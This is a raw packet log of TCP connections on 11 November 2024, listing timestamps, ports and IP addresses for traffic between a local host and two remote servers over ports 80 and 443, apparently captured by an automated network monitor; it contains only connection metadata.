Nov 11, 2024 12:40:06.159537077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.159548044 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:06.159589052 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:06.159600973 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:06.159724951 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.159759045 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:06.169699907 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:06.174587011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.371340990 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.371396065 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:06.388864994 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:06.388911009 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:06.393781900 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.393799067 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.393807888 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.393820047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.393968105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.393979073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.530287981 CET	443	49710	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:06.530524969 CET	49710	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:06.535851002 CET	49710	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:06.535866976 CET	443	49710	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:06.536109924 CET	443	49710	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:06.537868977 CET	49710	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:06.537930012 CET	49710	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:06.537935019 CET	443	49710	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:06.538150072 CET	49710	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:06.579341888 CET	443	49710	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:06.700216055 CET	443	49710	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:06.700814009 CET	49710	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:06.700830936 CET	443	49710	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:06.700861931 CET	49710	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:06.700886965 CET	49710	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:07.108047009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.108201027 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.406656981 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.415676117 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.608352900 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.608372927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.608392000 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.608405113 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.608417034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.608437061 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.608450890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.608464956 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.608519077 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.609232903 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.609252930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.609263897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.609272957 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.609276056 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.609289885 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.609306097 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.609333992 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.610393047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.610439062 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.721445084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.721482992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.721494913 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.721504927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.721518040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.721522093 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.721555948 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.721589088 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.721786976 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.721832037 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.722023964 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.722079039 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.722101927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.722146988 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.722147942 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.722160101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.722184896 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.722202063 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.722476959 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.722522020 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.722524881 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.722537994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.722563982 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.722603083 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.723002911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.723026037 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.723043919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.723053932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.723068953 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.723087072 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.723097086 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.723109007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.723135948 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.723146915 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.723828077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.723851919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.723870039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.723872900 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.723881960 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.723891973 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.723896027 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.723912954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.723927975 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.723953009 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.724627972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.724674940 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.834530115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.834566116 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.834577084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.834642887 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.834644079 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.834683895 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.834696054 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.834707022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.834724903 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.834753036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.834964037 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835002899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835016012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835040092 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.835055113 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835064888 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.835067987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835098028 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.835124016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.835582972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835637093 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.835720062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835731983 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835741997 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835753918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835764885 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835767984 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.835777044 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.835799932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.835810900 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.836518049 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.836554050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.836564064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.836576939 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.836604118 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.836613894 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.836625099 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.836635113 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.836647987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.836675882 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.836699963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.837459087 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.837471008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.837481022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.837511063 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.837512970 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.837526083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.837527990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.837538004 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.837574005 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.838176966 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.838188887 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.838202000 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.838221073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.838227034 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.838227034 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.838234901 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.838247061 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.838248968 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.838259935 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.838274002 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.838303089 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.839037895 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.839087963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.839126110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.839138031 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.839148998 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.839159966 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.839169979 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.839170933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.839184046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.839215040 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.839225054 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.839970112 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.840027094 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948210955 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948249102 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948267937 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948277950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948278904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948302031 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948312044 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948312044 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948316097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948328972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948340893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948402882 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948539972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948553085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948570013 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948580980 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948590994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948590994 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948613882 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948642969 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948821068 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948867083 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948868990 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948889017 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948913097 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948928118 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.948955059 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948966026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948976040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948987007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.948999882 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949004889 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949009895 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949048042 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949397087 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949408054 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949443102 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949476004 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949486971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949497938 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949508905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949525118 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949532986 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949568987 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949734926 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949774981 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949850082 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949862003 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949872971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949882984 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949894905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949897051 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949897051 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949907064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949919939 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.949922085 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949951887 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.949976921 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.950300932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.950311899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.950323105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.950355053 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.950392962 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.950428963 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.950469017 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.950541973 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.950552940 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.950563908 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.950575113 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.950579882 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.950592995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.950594902 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.950603962 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.950614929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.950625896 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.950625896 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.950650930 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.950679064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.950992107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951035023 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.951061010 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951073885 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951097965 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.951118946 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.951142073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951152086 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951163054 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951181889 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951184034 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.951190948 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.951195955 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951221943 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.951241970 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.951242924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951255083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951265097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951271057 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.951293945 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.951328993 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.952042103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952054977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952064991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952089071 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.952109098 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.952121973 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.952162981 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952174902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952184916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952197075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952203035 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.952209949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952212095 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.952222109 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952233076 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952243090 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952251911 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.952255964 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.952280045 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.952299118 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.953202963 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953224897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953234911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953249931 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.953274012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.953283072 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953299999 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.953325033 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.953335047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953387976 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.953432083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953443050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953454971 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953465939 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953476906 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953484058 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.953490973 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953515053 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.953536987 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.953557014 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953567982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953577995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953588009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953598022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.953598976 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.953614950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.953646898 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.954257011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.954325914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.954346895 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.954359055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.954370022 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.954380989 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.954384089 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.954394102 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.954416037 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.954447985 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.954741001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.954752922 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.954771042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.954782009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.954792023 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:07.954801083 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:07.954816103 CET	49709	80	192.168.2.6	185.215.113.206
